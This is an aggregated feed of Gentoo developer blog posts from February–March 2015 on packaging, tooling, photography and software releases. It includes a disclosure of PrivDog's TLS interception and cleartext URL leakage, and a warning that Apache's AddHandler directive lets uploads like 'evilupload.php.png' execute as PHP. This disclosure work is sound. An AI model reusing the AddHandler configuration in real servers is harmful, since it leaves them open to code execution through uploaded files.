Before getting Pelican ready (which is available through Gentoo btw) I also needed to install pandoc, and that became more troublesome than expected. While installing pandoc I got hit by its massive amount of dependencies towards dev-haskell/* packages, and many of those packages really failed to install. It does some internal dependency checking and fails, informing me to run haskell-updater. Sadly, multiple re-runs of said command did not resolve the issue. In fact, it wasn’t until I hit a forum post about the same issue that a first step to a working solution was found.

It turns out that the ~arch versions of the haskell packages are better working. So I enabled dev-haskell/* in my package.accept_keywords file. And then started updating the packages… which also failed. Then I ran haskell-updater multiple times, but that also failed. After a while, I had to run the following set of commands (in random order) just to get everything to build fine:

~# emerge -u $(qlist -IC dev-haskell) --keep-going
~# for n in $(qlist -IC dev-haskell); do emerge -u $n; done

It took quite some reruns, but it finally got through. I never thought I had this much Haskell-related packages installed on my system (89 packages here to be exact), as I never intended to do any Haskell development since I left the university. Still, I finally got pandoc to work. So, on to the migration of my WordPress site… I thought.

This is a good time to ask for stabilization requests (I’ll look into it myself as well of course) but also to see if you can help out our arch testing teams to support the stabilization requests on Gentoo! We need you!

I started with the official docs on importing. Looks promising, but it didn’t turn out too well for me. Importing was okay, but then immediately building the site again resulted in issues about wrong arguments (file names being interpreted as an argument name or function when an underscore was used) and interpretation of code inside the posts. Then I found Jason Antman’s converting wordpress posts to pelican markdown post to inform me I had to try using markdown instead of restructured text. And lo and behold – that’s much better.

The first builds look promising. Of all the posts that I made on WordPress, only one gives a build failure. The next thing to investigate is theming, as well as seeing how good the migration goes (it isn’t because there are no errors otherwise that the migration is successful of course) so that I know how much manual labor I have to take into consideration when I finally switch (right now, I’m still running WordPress).

March 05, 2015
Paweł Hajdan, Jr. a.k.a. phajdan.jr (homepage, bugs)

I've been occasionally hitting frustrating issues with bash history getting lost after a crash. Then I found this great blog post about keeping bash history in sync on disk and between multiple terminals.

tl;dr is to use "shopt -s histappend" and PROMPT_COMMAND="${PROMPT_COMMAND};history -a"

The first is usually default, and results in sane behavior when you have multiple bash sessions at the same time. Now the second one ("history -a") is really useful to flush the history to disk in case of crashes.

I'm happy to announce that both are now default in Gentoo! Please see bug #517342 for reference.

February 27, 2015
Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
Sometimes "best" does not mean "better" (February 27, 2015, 19:37 UTC)

Please bear with me, this post will start as ramblings of a photography nerd who's not really very good at photography, but will move on to talk of more general technical discussions.

I recently had a discussion on Google+ about a camera lens that I bought recently — the Tamron 16-300. I like the lens, or I wouldn't have bought it, but the discussion was about the fact that the specs of the lens are at best mediocre, and possibly worse than other cheaper lenses.

It is true, a lens that spaces between f/3.5 and f/6.3 is not exactly a super-duper lens; it means that it can't take pictures in low-light conditions unless you give up on quality (bring ISO up) or use a flash. I was also suggested just before that the Canon 24-105 f/4L which is according to many the best lens of its kind. But that's not a better lens for me.

The reason why I say this is that I have considered the best lenses ever and have turned many down for various issues — the most common of which is, of course, price; I'm not good enough as a photographer to desire to spend over ten grands on gear every year. The Tamron I bought is, in my opinion, the better one for the space I was trying to fill, so let's try to find what space I was trying to fill first.

First of all, I don't have professional gear; I'm still shooting with a three years old Canon EOS 600D (Rebel T3i for the Americans), a so-called prosumer camera with a cropped sensor. I have over time bought a few pieces of glass, but the one I used the most has definitely been the Canon 50mm f/1.4 which sounded expensive at the time and now sounds almost cheap in comparison — since this is a cropped sensor the lens is actually an 80mm, which is a good portrait length for mugshots and has its use for parties and conferences.

This lens turns out to be mostly useless in museums though, and in general in enclosed spaces. And for big panoramas. For that I wanted a wide-angle lens and I bought a Tokina 11-16mm f/2.8 which is fast enough to shoot within buildings, even though it has a bit of chromatic aberration when shooting at maximum aperture.

Yes I know it's getting boring, bear with me a little longer.

So what is missing here is a lens for general pictures of a party that is not as close-up as the 50mm (you can get something akin to the actual 50mm with a 28mm) and something to take pictures at a distance. For those I have been using the kit lenses, the cheap 18-55mm and the 55-250mm — neither version is, as far as I can tell, still on the market; they have been replaced by actually decent versions comparatively, especially the 18-55mm STM.

Okay nobody but the photographers – who already know this – care about these details, so in short what gives? Well, I wanted to replace the two kit lenses with one versatile lens. The idea is that if I'm, say, at Muir Woods I'd rather not keep switching between the 50mm and the 11-16mm lenses, especially under the trees, with the risk of having dirt hitting the mirror or the sensor. I did it that one time, but I found it very inconvenient, and thus why I was looking for a zoom lens that would not make me bankrupt.

The Tamron is a decent lens. I've paid some €700 for it and a couple of (good) filters (UV and CP), which is not cheap but does not ruin me (remember I paid $600/month for the tinderbox, and that stopped now). Its specs are not stellar, and especially at 300mm f/6.3 is indeed a little too slow, there is some CA when running at 16mm too, but not bad enough. It pays of in terms of opportunity: in many cases I'm not setting out to take pictures of something in particular, I'm just rather going somewhere and bringing the camera with me and when I want to take a picture I may not know of what at first… if I have the wrong lens on, I may no be able to take a picture quickly enough; if I did not bring the right lens, I would not be able to take a picture at all. With a versatile zoom lens as my default-on, I can just take the camera out and shoot, even if it's not perfect — if I want to make it perfect I can put on the good lens.

Again, I could have saved a few more months and bought a more expensive lens, the "best" lens — but there are other things to consider: since I did have this lens I was able to take some pictures of a RC car race near Mission College, without having to find space to switch lenses between the whole track pictures and the cars details. I also would not be sure that I'd be bringing a lens that's over $1k alone around with me when not sure where I'm going; sure the rest of the lenses together already build up to that number, but they are also less conspicuous — the only one that is actually bigger than someone's hand is the Tokina.

This has also another side effect: it seems like many places in California have a "no professional photography without permission" rule, including Stanford University. The way "professional photography" gets defined is by the size of one's lens (the joke about sizes counting is old, get over it), namely if the lens does not fit in your hands it is counted as "professional". By that rule, the Tamron lens is not a professional one, while the suggested Canon 24-105 would be.

Cutting finally down to the chase, the point of the episode I recounted is that there are many other reasons beside the technical specs, for which decisions are made. The same discussions I heard about the bad specs of the lenses I was looking for reminded me of the discussions I had before when people insisted that there are no reasons for tablets, because we have laptops (for the 10") and smartphones (for the 7"), or about using a convenient airline rather than one that has better planes, or… you get the gist, right?

The same is true when people try to discuss Free Software or Open Source in just terms of technical superiority. It is probably true, but that does not always make it a good choice by itself, there are other considerations - hardware support used to be the main concern, nowadays UI and UX seems to be the biggest, but this does not mean it's limited to those.

This is similar in point to the story of Jessica as SwiftOnSecurity posted, but in this case I'm not even talking about people who don't know (and don't care to know) but rather about the fact that people have different priorities, and technical superiority is not always a priority.

Alexys Jacob a.k.a. ultrabug (homepage, bugs)
mongoDB 2.6.8, 2.4.13 & the upcoming 3.0.0 (February 27, 2015, 10:35 UTC)

I’m a bit slacking on those follow-up posts but with the upcoming mongoDB 3.x series and the recent new releases I guess it was about time I talked a bit about what was going on.

 mongodb-3.0.0_rcX

Thanks to the help of Tomas Mozes, we might get a release candidate version of the 3.0.0 version of mongoDB pretty soon in tree shall you want to test it on Gentoo. Feel free to contribute or give feedback in the bug, I’ll do my best to keep up.

What Tomas proposes matches what I had in mind so for now the plan is to :

  • split the mongo tools (mongodump/export etc) to a new package : dev-db/mongo-tools or app-admin/mongo-tools ?
  • split the MMS monitoring agent to its own package : app-admin/mms-monitoring-agent
  • have a look at the MMS backup agent and maybe propose its own package if someone is interested in this ?
  • after the first release, have a look at the MMS deployment automation to see how it could integrate with Gentoo

mongodb-2.6.8 & 2.4.13

Released 2 days ago, they are already on portage ! The 2.4.13 is mostly a security (SSL v3) and tiny backport release whereas the 2.6.8 fixes quite a bunch of bugs.

Please note that I will drop the 2.4.x releases when 3.0.0 hits the tree ! I will keep the latest 2.4.13 in my overlay if someone asks for it.

Service relaunch: archives.gentoo.org (February 27, 2015, 01:03 UTC)

The Gentoo Infrastructure team is proud to announce that we have re-engineered the mailing list archives, and re-launched it, back at archives.gentoo.org. The prior Mhonarc-based system had numerous problems, and a complete revamp was deemed the best forward solution to move forward with. The new system is powered by ElasticSearch (more features to come).

All existing URLs should either work directly, or redirect you to the new location for that content.

Major thanks to Alex Legler, for his development of this project.

Note that we're still doing some catchup on newer messages, but delays will drop to under 2 hours soon, with an eventual goal of under 30 minutes.

Please report problems to Bugzilla: Product Websites, Component Archives

February 25, 2015
Hanno Böck a.k.a. hanno (homepage, bugs)

Privdogtl;dr PrivDog will send webpage URLs you surf to a server owned by AdTrustMedia. This happened unencrypted in cleartext HTTP. This is true for both the version that is shipped with some Comodo products and the standalone version from the PrivDog webpage.

On Sunday I wrote here that the software PrivDog had a severe security issue that compromised the security of HTTPS connections. In the meantime PrivDog has published an advisory and an update for their software. I had a look at the updated version. While I haven't found any further obvious issues in the TLS certificate validation I found others that I find worrying.

Let me quickly recap what PrivDog is all about. The webpage claims: "PrivDog protects your privacy while browsing the web and more!" What PrivDog does technically is to detect ads it considers as bad and replace them with ads delivered by AdTrustMedia, the company behind PrivDog.

I had a look at the network traffic from a system using PrivDog. It sent some JSON-encoded data to the url http://ads.adtrustmedia.com/safecheck.php. The sent data looks like this:

{"method": "register_url", "url": "https:\/\/blog.hboeck.de\/serendipity_admin.php?serendipity[adminModule]=logout", "user_guid": "686F27D9580CF2CDA8F6D4843DC79BA1", "referrer": "https://blog.hboeck.de/serendipity_admin.php", "af": 661013, "bi": 661, "pv": "3.0.105.0", "ts": 1424914287827}
{"method": "register_url", "url": "https:\/\/blog.hboeck.de\/serendipity_admin.php", "user_guid": "686F27D9580CF2CDA8F6D4843DC79BA1", "referrer": "https://blog.hboeck.de/serendipity_admin.php", "af": 661013, "bi": 661, "pv": "3.0.105.0", "ts": 1424914313848}
{"method": "register_url", "url": "https:\/\/blog.hboeck.de\/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=editSelect", "user_guid": "686F27D9580CF2CDA8F6D4843DC79BA1", "referrer": "https://blog.hboeck.de/serendipity_admin.php", "af": 661013, "bi": 661, "pv": "3.0.105.0", "ts": 1424914316235}


And from another try with the browser plugin variant shipped with Comodo Internet Security:

{"method":"register_url","url":"https:\\/\\/www.facebook.com\\/?_rdr","user_guid":"686F27D9580CF2CDA8F6D4843DC79BA1","referrer":""}
{"method":"register_url","url":"https:\\/\\/www.facebook.com\\/login.php?login_attempt=1","user_guid":"686F27D9580CF2CDA8F6D4843DC79BA1","referrer":"https:\\/\\/www.facebook.com\\/?_rdr"}


On a linux router or host system this could be tested with a command like tcpdump -A dst ads.adtrustmedia.com|grep register_url. (I was unable to do the same on the affected system with the windows version of tcpdump, I'm not sure why.)

Now here is the troubling part: The URLs I surf to are all sent to a server owned by AdTrustMedia. As you can see in this example these are HTTPS-protected URLs, some of them from the internal backend of my blog. In my tests all URLs the user surfed to were sent, sometimes with some delay, but not URLs of objects like iframes or images.

This is worrying for various reasons. First of all with this data AdTrustMedia could create a profile of users including all the webpages the user surfs to. Given that the company advertises this product as a privacy tool this is especially troubling, because quite obviously this harms your privacy.

This communication happened in clear text, even for URLs that are HTTPS. HTTPS does not protect metadata and a passive observer of the network traffic can always see which domains a user surfs to. But what HTTPS does encrypt is the exact URL a user is calling. Sometimes the URL can contain security sensitive data like session ids or security tokens. With PrivDog installed the HTTPS URL was no longer protected, because it was sent in cleartext through the net.

The TLS certificate validation issue was only present in the standalone version of PrivDog and not the version that is bundled with Comodo Internet Security as part of the Chromodo browser. However this new issue of sending URLs to an AdTrustMedia server was present in both the standalone and the bundled version.

I have asked PrivDog for a statement: "In accordance with our privacy policy all data sent is anonymous and we do not store any personally identifiable information. The API is utilized to help us prevent fraud of various types including click fraud which is a serious problem on the Internet. This allows us to identify automated bots and other threats. The data is also used to improve user experience and enables the system to deliver users an improved and more appropriate ad experience." They also said that they will update the configuration of clients to use HTTPS instead of HTTP to transmit the data.

PrivDog made further HTTP calls. Sometimes it fetched Javascript and iframes from the server trustedads.adtrustmedia.com. By manipulating these I was able to inject Javascript into webpages. However I have only experienced this with HTTP webpages. This by itself doesn't open up security issues, because an attacker able to control network traffic is already able to manipulate the content of HTTP webpages and can therefore inject JavaScript anyway. There are also other unencrypted HTTP requests to AdTrustMedia servers transmitting JSON data where I don't know what their exact meaning is.

February 24, 2015
Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
TG4: Tinderbox Generation 4 (February 24, 2015, 21:08 UTC)

Everybody's a critic: the first comment I received when I showed other Gentoo developers my previous post about the tinderbox was a question on whether I would be using pkgcore for the new generation tinderbox. If you have understood what my blog post was about, you probably understand why I was not happy about such a question.

I thought the blog post made it very clear that my focus right now is not to change the way the tinderbox runs but the way the reporting pipeline works. This is the same problem as 2009: generating build logs is easy, sifting through them is not. At first I thought this was hard just for me, but the fact that GSoC attracted multiple people interested in doing continuous build, but not one interested in logmining showed me this is just a hard problem.

The approach I took last time, with what I'll start calling TG3 (Tinderbox Generation 3), was to: highlight the error/warning messages; provide a list of build logs for which a problem was identified (without caring much for which kind of problem), and just showing up broken builds or broken tests in the interface. This was easy to build up, and to a point to use, but it had a lots of drawbacks.

Major drawbacks in that UI is that it relies on manual work to identify open bugs for the package (and thus make sure not to report duplicate bugs), and on my own memory not to report the same issue multiple time, if the bug was closed by some child as NEEDINFO.

I don't have my graphic tablet with me to draw a mock of what I have in mind yet, but I can throw in some of the things I've been thinking of:

  • Being able to tell what problem or problems a particular build is about. It's easy to tell whether a build log is just a build failure or a test failure, but what if instead it has three or four different warning conditions? Being able to tell which ones have been found and having a single-click bug filing system would be a good start.
  • Keep in mind the bugs filed against a package. This is important because sometimes a build log is just a repeat of something filed already; it may be that it failed multiple times since you started a reporting run, so it might be better to show that easily.
  • Related, it should collapse failures for packages so not to repeat the same package multiple times on the page. Say you look at the build failures every day or two, you don't care if the same package failed 20 times, especially if the logs report the same error. Finding out whether the error messages are the same is tricky, but at least you can collapse the multiple logs in a single log per package, so you don't need to skip it over and over again.
  • Again related, it should keep track of which logs have been read and which weren't. It's going to be tricky if the app is made multi-user, but at least a starting point needs to be there.
  • It should show the three most recent bugs open for the package (and a count of how many other open bugs) so that if the bug was filed by someone else, it does not need to be filed again. Bonus points for showing the few most recently reported closed bugs too.

You can tell already that this is a considerably more complex interface than the one I used before. I expect it'll take some work with JavaScript at the very least, so I may end up doing it with AngularJS and Go mostly because that's what I need to learn at work as well, don't get me started. At least I don't expect I'll be doing it in Polymer but I won't exclude that just yet.

Why do I spend this much time thinking and talking (and soon writing) about UI? Because I think this is the current bottleneck to scale up the amount of analysis of Gentoo's quality. Running a tinderbox is getting cheaper — there are plenty of dedicated server offers that are considerably cheaper than what I paid for hosting Excelsior, let alone the initial investment in it. And this is without going to look again at the possible costs of running them on GCE or AWS at request.

Three years ago, my choice of a physical server in my hands was easier to justify than now, with 4-core HT servers with 48GB of RAM starting at €40/month — while I/O is still the limiting factor, with that much RAM it's well possible to have one tinderbox building fully in tmpfs, and just run a separate server for a second instance, rather than sharing multiple instances.

And even if GCE/AWS instances that are charged for time running are not exactly interesting for continuous build systems, having a cloud image that can be instructed to start running a tinderbox with a fixed set of packages, say all the reverse dependencies of libav, would make it possible to run explicit tests for code that is known to be fragile, while not pausing the main tinderbox.

Finally, there are different ideas of how we should be testing packages: all options enabled, all options disabled, multilib or not, hardened or not, one package at a time, all packages together… they can all share the same exact logmining pipeline, as all it needs is the emerge --info output, and the log itself, which can have markers for known issues to look out for or not. And then you can build the packages however you desire, as long as you can submit them there.

Now my idea is not to just build this for myself and run analysis over all the people who want to submit the build logs, because that would be just about as crazy. But I think it would be okay to have a shared instance for Gentoo developers to submit build logs from their own personal instances, if they want to, and then have them look at their own accounts only. It's not going to be my first target but I'll keep that in mind when I start my mocks and implementations, because I think it might prove successful.

February 23, 2015
Jan Kundrát a.k.a. jkt (homepage, bugs)
Trojita 0.5 is released (February 23, 2015, 11:02 UTC)

Hi all,
we are pleased to announce version 0.5 of Trojitá, a fast Qt IMAP e-mail client. More than 500 changes went in since the previous release, so the following list highlights just a few of them:

  • Trojitá can now be invoked with a mailto: URL (RFC 6068) on the command line for composing a new email.
  • Messages can be forwarded as attachments (support for inline forwarding is planned).
  • Passwords can be remembered in a secure, encrypted storage via QtKeychain.
  • E-mails with attachments are decorated with a paperclip icon in the overview.
  • Better rendering of e-mails with extraordinary MIME structure.
  • By default, only one instance is kept running, and can be controlled via D-Bus.
  • Trojitá now provides better error reporting, and can reconnect on network failures automatically.
  • The network state (Offline, Expensive Connection or Free Access) will be remembered across sessions.
  • When replying, it is now possible to retroactively change the reply type (Private Reply, Reply to All but Me, Reply to All, Reply to Mailing List, Handpicked).
  • When searching in a message, Trojitá will scroll to the current match.
  • Attachment preview for quick access to the enclosed files.
  • The mark-message-read-after-X-seconds setting is now configurable.
  • The IMAP refresh interval is now configurable.
  • Speed and memory consumption improvements.
  • Miscellaneous IMAP improvements.
  • Various fixes and improvements.
  • We have increased our test coverage, and are now making use of an improved Continuous Integration setup with pre-commit patch testing.

This release has been tagged in git as "v0.5". You can also download a tarball (GPG signature). Prebuilt binaries for multiple distributions are available via the OBS, and so is a Windows installer.

We would like to thank Karan Luthra and Stephan Platz for their efforts during Google Summer of Code 2014.

The Trojitá developers

  • Jan Kundrát
  • Pali Rohár
  • Dan Chapman
  • Thomas Lübking
  • Stephan Platz
  • Boren Zhang
  • Karan Luthra
  • Caspar Schutijser
  • Lasse Liehu
  • Michael Hall
  • Toby Chen
  • Niklas Wenzel
  • Marko Käning
  • Bruno Meneguele
  • Yuri Chornoivan
  • Tomáš Chvátal
  • Thor Nuno Helge Gomes Hultberg
  • Safa Alfulaij
  • Pavel Sedlák
  • Matthias Klumpp
  • Luke Dashjr
  • Jai Luthra
  • Illya Kovalevskyy
  • Edward Hades
  • Dimitrios Glentadakis
  • Andreas Sturmlechner
  • Alexander Zabolotskikh

Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
The tinderbox is dead, long live the tinderbox (February 23, 2015, 03:24 UTC)

I announced it last November and now it became reality: the Tinderbox is no more, in hardware as well as software. Excelsior was taken out of the Hurricane Electric facility in Fremont this past Monday, just before I left for SCALE13x.

Originally the box was hosted by my then-employer, but as of last year, to allow more people to have access to is working, I had it moved to my own rented cabinet, at a figure of $600/month. Not chump change, but it was okay for a while; unfortunately the cost sharing option that was supposed to happen did not happen, and about an year later those $7200 do not feel like a good choice, and this is without delving into the whole insulting behavior of a fellow developer.

Right now the server is lying on the floor of an office in the Mountain View campus of my (current) employer. The future of the hardware is uncertain right now, but it's more likely than not going to be donated to Gentoo Foundation (minus the HDDs for obvious opsec). I'm likely going to rent a dedicated server of my own for development and testing, as even though they would be less powerful than Excelsior, they would be massively cheaper at €40/month.

The question becomes what we want to do with the idea of a tinderbox — it seems like after I announced the demise people would get together to fix it once and for all, but four months later there is nothing to show that. After speaking with other developers at SCaLE, and realizing I'm probably the only one with enough domain knowledge of the problems I tackled, at this point, I decided it's time for me to stop running a tinderbox and instead design one.

I'm going to write a few more blog posts to get into the nitty-gritty details of what I plan on doing, but I would like to provide at least a high-level idea of what I'm going to change drastically in the next iteration.

The first difference will be the target execution environment. When I wrote the tinderbox analysis scripts I designed them to run in a mostly sealed system. Because the tinderbox was running at someone else's cabinet, within its management network, I decided I would not provide any direct access to either the tinderbox container nor the app that would mangle that data. This is why the storage for both the metadata and the logs was Amazon: pushing the data out was easy and did not require me to give access to the system to anyone else.

In the new design this will not be important — not only because it'll be designed to push the data directly into Bugzilla, but more importantly because I'm not going to run a tinderbox in such an environment. Well, admittedly I'm just not going to run a tinderbox ever again, and will just build the code to do so, but the whole point is that I won't keep that restriction on to begin with.

And since the data store now is only temporary, I don't think it's worth over-optimizing for performance. While I originally considered and dropped the option of storing the logs in PostgreSQL for performance reasons, now this is unlikely to be a problem. Even if the queries would take seconds, it's not like this is going to be a deal breaker for an app with a single user. Even more importantly, the time taken to create the bug on the Bugzilla side is likely going to overshadow any database inefficiency.

The part that I've still got some doubts about is how to push the data from the tinderbox instance to the collector (which may or may not be the webapp that opens the bugs too.) Right now the tinderbox does some analysis through bashrc, leaving warnings in the log — the log is then sent to the collector through -chewing gum and saliva- tar and netcat (yes, really) to maintain one single piece of metadata: the filename.

I would like to be able to collect some metadata on the tinderbox side (namely, emerge --info, which before was cached manually) and send it down to the collector. But adding this much logic is tricky, as the tinderbox should still operate with most of the operating system busted. My original napkin plan involved having the agent written in Go, using Apache Thrift to communicate to the main app, probably written in Django or similar.

The reason why I'm saying that Go would be a good fit is because of one piece of its design I do not like (in the general use case) at all: the static compilation. A Go binary will not break during a system upgrade of any runtime, because it has no runtime; which is in my opinion a bad idea for a piece of desktop or server software, but it's a godsend in this particular environment.

But the reason for which I was considering Thrift was I didn't want to look into XML-RPC or JSON-RPC. But then again, Bugzilla supports only those two, and my main concern (the size of the log files) would still be a problem when attaching them to Bugzilla just as much. Since Thrift would require me to package it for Gentoo (seems like nobody did yet), while JSON-RPC is already supported in Go, I think it might be a better idea to stick with the JSON. Unfortunately Go does not support UTF-7 which would make escaping binary data much easier.

Now what remains a problem is filing the bug and attaching the log to Bugzilla. If I were to write that part of the app in Python, it would be just a matter of using the pybugz libraries to handle it. But with JSON-RPC it should be fairly easy to implement support for it from scratch (unlike XML-RPC) so maybe it's worth just doing the whole thing in Go, and reduce the proliferation of languages in use for such a project.

Python will remain in use for the tinderbox runner. Actually if anything I would like to remove the bash wrapper I've written and do the generation and selection of which packages to build in Python. It would also be nice if it could handle the USE mangling by itself, but that's difficult due to the sad conflicting requirements of the tree.

But this is enough details for the moment; I'll go back to thinking the implementation through and add more details about that as I get to them.

Hanno Böck a.k.a. hanno (homepage, bugs)
Software Privdog worse than Superfish (February 23, 2015, 00:27 UTC)

Privdogtl;dr There is a software called Privdog. It totally breaks HTTPS security in a similar way as Superfish.

In case you haven't heard it the past days an Adware called Superfish made headlines. It was preinstalled on Lenovo laptops and it is bad: It totally breaks the security of HTTPS connections. The story became bigger when it became clear that a lot of other software packages were using the same technology Komodia with the same security risk.

What Superfish and other tools do is that it intercepts encrypted HTTPS traffic to insert Advertising on webpages. It does so by breaking the HTTPS encryption with a Man-in-the-Middle-attack, which is possible because it installs its own certificate into the operating system.

A number of people gathered in a chatroom and we noted a thread on Hacker News where someone asked whether a tool called PrivDog is like Superfish. PrivDog's functionality is to replace advertising in web pages with it's own advertising "from trusted sources". That by itself already sounds weird even without any security issues.

A quick analysis shows that it doesn't have the same flaw as Superfish, but it has another one which arguably is even bigger. While Superfish used the same certificate and key on all hosts PrivDog recreates a key/cert on every installation. However here comes the big flaw: PrivDog will intercept every certificate and replace it with one signed by its root key. And that means also certificates that weren't valid in the first place. It will turn your Browser into one that just accepts every HTTPS certificate out there, whether it's been signed by a certificate authority or not. We're still trying to figure out the details, but it looks pretty bad. (with some trickery you can do something similar on Superfish/Komodia, too)

There are some things that are completely weird. When one surfs to a webpage that has a self-signed certificate (really self-signed, not signed by an unknown CA) it adds another self-signed cert with 512 bit RSA into the root certificate store of Windows. All other certs get replaced by 1024 bit RSA certs signed by a locally created PrivDog CA.

Certificate interceptionUS-CERT writes: "Adtrustmedia PrivDog is promoted by the Comodo Group, which is an organization that offers SSL certificates and authentication solutions." A variant of PrivDog that is not affected by this issue is shipped with products produced by Comodo (see below). This makes this case especially interesting because Comodo itself is a certificate authority (they had issues before). As ACLU technologist Christopher Soghoian points out on Twitter the founder of PrivDog is the CEO of Comodo. (See this blog post.)

We will try to collect information on this and other simliar software in a Wiki on Github. Discussions also happen on irc.ringoflightning.net #kekmodia.)

Thanks to Filippo, slipstream / raylee and others for all the analysis that has happened on this issue.

Update/Clarification: The dangerous TLS interception behaviour is part of the latest version of PrivDog 3.0.96.0, which can be downloaded from the PrivDog webpage. Comodo Internet Security bundles an earlier version of PrivDog that works with a browser extension, so it is not directly vulnerable to this threat. According to online sources PrivDog 3.0.96.0 was released in December 2014 and changed the TLS interception technology.

Update 2: Privdog published an Advisory.

February 21, 2015
Sebastian Pipping a.k.a. sping (homepage, bugs)

Hi!

On a rather young Gentoo setup of mine I ran into SSLV3_ALERT_HANDSHAKE_FAILURE from rss2email.
Plain Python showed it, too:

# python -c "import urllib2; \
    urllib2.urlopen('https://twitrss.me/twitter_user_to_rss/?user=...')" \
    |& tail -n 1
urllib2.URLError: <urlopen error [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] \
    sslv3 alert handshake failure (_ssl.c:581)>

On other machines this yields

urllib2.HTTPError: HTTP Error 403: Forbidden

instead.

It turned out I overlooked USE="bindist ..." in /etc/portage/make.conf which is sitting there by default.
On OpenSSL, bindist disables elliptic curve support. So that is where the SSLV3_ALERT_HANDSHAKE_FAILURE came from.

February 20, 2015
Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
Code memes, an unsolved problem (February 20, 2015, 20:35 UTC)

I'll start the post by pointing out that my use of the word meme will follow relatively closely the original definition provided by Dawkins (hate him, love him, or find him a prat that has sometimes good ideas) in The Selfish Gene rather than the more modern usage of "standard image template with similar text on it."

The reason is that I really need that definition to describe what I see happening often in code: the copy-pasting of snippets, or concepts, across projects, and projects, and projects, mutating slightly in some cases because of coding style rules and preferences.

This is particularly true when you're dealing with frameworks, such as Rails and Autotools; the obvious reason for that is that most people will strive for consistency with someone else — if they try themselves, they might make a mistake, but someone else already did the work for them, so why not use the same code? Or a very slightly different one just to suit their tastes.

Generally speaking, consistency is a good thing. For instance if I can be guaranteed that a given piece of code will always follow the same structure throughout a codebase I can make it easier on me to mutate the code base if, as an example, a function call loses one of its parameters. But when you're maintaining a (semi-)public framework, you no longer have control over the whole codebase, and that's where the trouble starts.

As you no longer have control over your users, bad code memes are going to ruin your day for years: the moment when one influential user finds a way to work around a bug implement a nice trick, their meme will live on for years, and breaking it is going to be just painful. This is why Autotools-based build systems suck in many cases: they all copied old bad memes from another build system and they stuck around. Okay, there is a separate issue of people deciding to break all memes and creating something that barely works and will break at the first change in autoconf or automake, but that's beside my current point.

So when people started adding AC_CANONICAL_TARGET the result was an uphill battle to get people to drop it. It's not like it's a big problem for it to be there, it just makes the build system bloated, and it's one of a thousand cuts that make Autotools so despised. I'm using this as an example, but there are plenty of other memes in autotools that are worse, breaking compatibility, or cross-compilation, or the maintainers only know what.

This is not an easy corner to get out of, adding warnings about the use of deprecated features can help, but sometimes it's not as simple, because it's not a feature being used, it's the structure being the problem, which you can't easily (or at all) warn on. So what do you do?

If your framework is internal to an organisation, a company or a project, your best option is to make sure that there are no pieces of code hanging around that uses the wrong paradigm. It's easy to say "here is the best practices piece of code, follow that, not the bad examples" — but people don't work that way, they will be looking on a search engine (or grep) for what they need done, and find the myriad bad examples to follow instead.

When your framework is open to the public and is used by people all around the world, well, there isn't much you can do about it, beside being proactive and pointing out the bad examples and provide solutions to them that people can reference. This was the reason why I started Autotools Mythbuster, especially as a series of blog posts.

You could start breaking the bad code, but it would probably be a bad move for PR, given that people will complain loudly that your software is broken (see the multiple API breakages in libav/ffmpeg). Even if you were able to provide patches to all the broken software out there, it's extremely unlikely that it'll be seen as a good move, and it might make things worse if there is no clear backward compatibility with the new code, as then you'll end up with the bad code and the good code wrapped around compatibility checks.

I don't have a clean solution, unfortunately. My approach is fix and document, but it's not always possible and it takes much more time than most people have to spare. It's sad, but it's the nature of software source code.

February 18, 2015
Arun Raghavan a.k.a. ford_prefect (homepage, bugs)
Reviewing moved files with git (February 18, 2015, 08:29 UTC)

This might be a well-known trick already, but just in case it’s not…

Reviewing a patch can be a bit painful when a file that has been changed and moved or renamed at one go (and there can be perfectly valid reasons for doing this). A nice thing about git is that you can reference files in an arbitrary tree while using git diff, so reviewing such changes can become easier if you do something like this:

$ git am 0001-the-thing-I-need-to-review.patch
$ git diff HEAD^:old/path/to/file.c new/path/to/file.c

This just references file.c in its old path, which is available in the commit before HEAD, and compares it to the file at the new path in the patch you just merged.

Of course, you can also use this to diff a file at some arbitrary point in the past, or in some arbitrary branch, with the same file at the current HEAD or any other point.

Hopefully this is helpful to someone out there!

Update: As Alex Elsayed points out in the comments, git diff -M/-C can be used to similar effect. The above example, for example, could be written as:

$ git am 0001-the-thing-I-need-to-review.patch
$ git show -C

February 17, 2015
Denis Dupeyron a.k.a. calchan (homepage, bugs)
Google Summer of Code 2015 (February 17, 2015, 04:47 UTC)

This is a quick informational message about GSoC 2015.

The Gentoo Foundation is in the process of applying to GSoC 2015 as an organization. This is the 10th year we’ll participate to this very successful and exciting program.

Right now, we need you to propose project ideas. You do not need to be a developer to propose an idea. First, open this link in a new tab/window. Change the title My_new_idea in the URL to the actual title, load the page again, fill in all the information and save the article. Then, edit the ideas page and include a link to it. If you need any help with this, or advice regarding the description or your idea, come talk to us in #gentoo-soc on Freenode.

Thanks.

February 15, 2015
Sebastian Pipping a.k.a. sping (homepage, bugs)
Apache AddHandler madness all over the place (February 15, 2015, 21:44 UTC)

Hi!

A friend of mine ran into known (though not well-known) security issues with Apache’s AddHandler directive.
Basically, Apache configuration like

# Avoid!
AddHandler php5-fcgi .php

applies to a file called evilupload.php.png, too. Yes.
Looking at the current Apache documentation, it should clearly say that AddHandler should not be used any more for security reasons.
That’s what I would expect. What I find as of 2015-02-15 looks different:

Maybe that’s why AddHandler is still proposed all across the Internet:

And maybe that’s why it made its way into app-admin/eselect-php (bug #538822).

Please join the fight. Time to get AddHandler off the Internet!

I ❤ Free Software 2015-02-14 (February 15, 2015, 20:19 UTC)

I’m late. So what :)

I love Free Software!

Sven Vermeulen a.k.a. swift (homepage, bugs)
CIL and attributes (February 15, 2015, 13:49 UTC)

I keep on struggling to remember this, so let’s make a blog post out of it ;-)

When the SELinux policy is being built, recent userspace (2.4 and higher) will convert the policy into CIL language, and then build the binary policy. When the policy supports type attributes, these are of course also made available in the CIL code. For instance the admindomain attribute from the userdomain module:

...
(typeattribute admindomain)
(typeattribute userdomain)
(typeattribute unpriv_userdomain)
(typeattribute user_home_content_type)

Interfaces provided by the module are also applied. You won’t find the interface CIL code in /var/lib/selinux/mcs/active/modules though; the code at that location is already “expanded” and filled in. So for the sysadm_t domain we have:

# Equivalent of
# gen_require(`
#   attribute admindomain;
#   attribute userdomain;
# ')
# typeattribute sysadm_t admindomain;
# typeattribute sysadm_t userdomain;

